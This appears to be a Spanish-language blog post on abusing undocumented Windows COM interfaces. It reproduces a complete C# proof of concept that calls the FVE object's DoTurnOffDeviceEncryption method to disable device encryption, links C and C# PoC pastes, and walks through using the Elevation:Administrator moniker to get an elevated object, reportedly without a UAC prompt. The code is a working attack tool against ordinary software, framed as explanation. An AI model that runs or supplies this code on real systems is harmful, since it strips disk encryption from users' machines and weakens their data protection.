Windows expone múltiples interfaces COM poco documentadas que permiten acceder a funcionalidades internas del sistema operativo. Entre estas, los Elevation Monikers introducidos en Windows Vista con UAC permiten instanciar objetos COM que requieren un nivel de integridad elevado, sin necesidad de un token administrativo previo explícito.
Un ejemplo reciente compartido por vx-underground (en C y C#) muestra cómo un proceso puede instanciar un objeto COM interno del subsistema FVE (Full Volume Encryption) y llamar a métodos no documentados, como DoTurnOffDeviceEncryption, para desactivar el cifrado del dispositivo.
- Publicación: https://x.com/vxunderground/status/1997999255001194887
- PoC en C: https://pastebin.com/raw/knQNbG4U
- PoC en C#: https://pastebin.com/raw/JhtcWPSM
using System;
using System.Runtime.InteropServices;
namespace FveDisIDisp
{
internal class Program
{
static void Main(string[] args)
{
try
{
IFveUiDispatch disp = new FveUi();
// Primero verificamos si Device Encryption está activo
int hrStatus = disp.GetDeviceEncryptionStatus(out int status);
if (hrStatus != 0)
{
Console.WriteLine($"Error al obtener estado: 0x{hrStatus:X8}");
return;
}
Console.WriteLine($"Estado de Device Encryption: {status}");
if (status == 1) // 1 = Activado, 0 = Desactivado
{
Console.WriteLine("Device Encryption está activo. Intentando desactivarlo...");
int hr = disp.DoTurnOffDeviceEncryption();
if (hr == 0)
{
Console.WriteLine("Device Encryption desactivado correctamente.");
}
else
{
Console.WriteLine($"Error al desactivar Device Encryption: 0x{hr:X8}");
}
}
else
{
Console.WriteLine("Device Encryption ya está desactivado.");
}
}
catch (COMException comEx)
{
Console.WriteLine($"Error COM: 0x{comEx.ErrorCode:X8} - {comEx.Message}");
}
catch (Exception ex)
{
Console.WriteLine($"Error inesperado: {ex.Message}");
}
}
}
[ComImport, Guid("A7A63E5C-3877-4840-8727-C1EA9D7A4D50")]
public class FveUi
{
}
[ComImport, Guid("00020400-0000-0000-C000-000000000046"),
InterfaceType(ComInterfaceType.InterfaceIsIDispatch),
CoClass(typeof(FveUi))]
public interface IFveUiDispatch
{
[PreserveSig, DispId(791)]
int DoTurnOffDeviceEncryption();
// Nuevo método para obtener el estado
[PreserveSig, DispId(790)]
int GetDeviceEncryptionStatus(out int status);
}
}Inicialización del entorno COM
-
En C:
CoInitializeEx(NULL, COINIT_MULTITHREADED) -
En C#:
Activator.CreateInstance(Type.GetTypeFromCLSID(...)) -
Este paso prepara el thread para trabajar con COM y asegura que las llamadas posteriores sean válidas. Sin inicialización, cualquier intento de crear objetos COM fallará.
-
-
Configuración de seguridad COM
-
Establece niveles de autenticación (
RPC_C_AUTHN_LEVEL_PKT_PRIVACY) y de autorización (RPC_C_IMP_LEVEL_IDENTIFY) para el objeto. -
Esto asegura que la comunicación con el objeto elevado cumpla con los requisitos de integridad y confidencialidad. Es crítico porque COM requiere seguridad explícita para llamadas a objetos fuera del proceso.
-
-
Creación del objeto elevado
-
Sintaxis utilizada:
Elevation:Administrator!new:{CLSID del FVE} -
Aquí es donde el moniker solicita privilegios administrativos. Si el CLSID corresponde a un objeto que requiere integridad elevada, Windows instanciará el objeto sin mostrar UAC si se cumplen las condiciones correctas.
-
Implicación de seguridad: Este mecanismo puede ser abusado si un actor malicioso conoce CLSIDs de objetos internos críticos.
-
-
Invocación dinámica de métodos
-
Utiliza
IDispatch::Invokeen C odynamic.InvokeMemberen C#. -
Ejemplo del PoC: se llama a un método interno identificado por DISPID
791(DoTurnOffDeviceEncryption) que desactiva Device Encryption. -
Esta técnica no requiere documentación oficial del método; conociendo el DISPID, se puede invocar cualquier función expuesta por la interfaz COM.
-
Consideración: La invocación dinámica evita el uso de interfaces fuertemente tipadas y permite interactuar con métodos internos de manera flexible, pero también hace que el código sea más difícil de auditar.
-
-
Liberación de recursos y cierre
-
Llamadas a
Release()en C oMarshal.ReleaseComObjecten C#. -
Finalmente,
CoUninitialize()para cerrar el entorno COM. -
La liberación es crítica para evitar fugas de memoria y mantener la estabilidad del sistema, especialmente al trabajar con objetos que operan a integridad elevada.
-

Comentarios
Publicar un comentario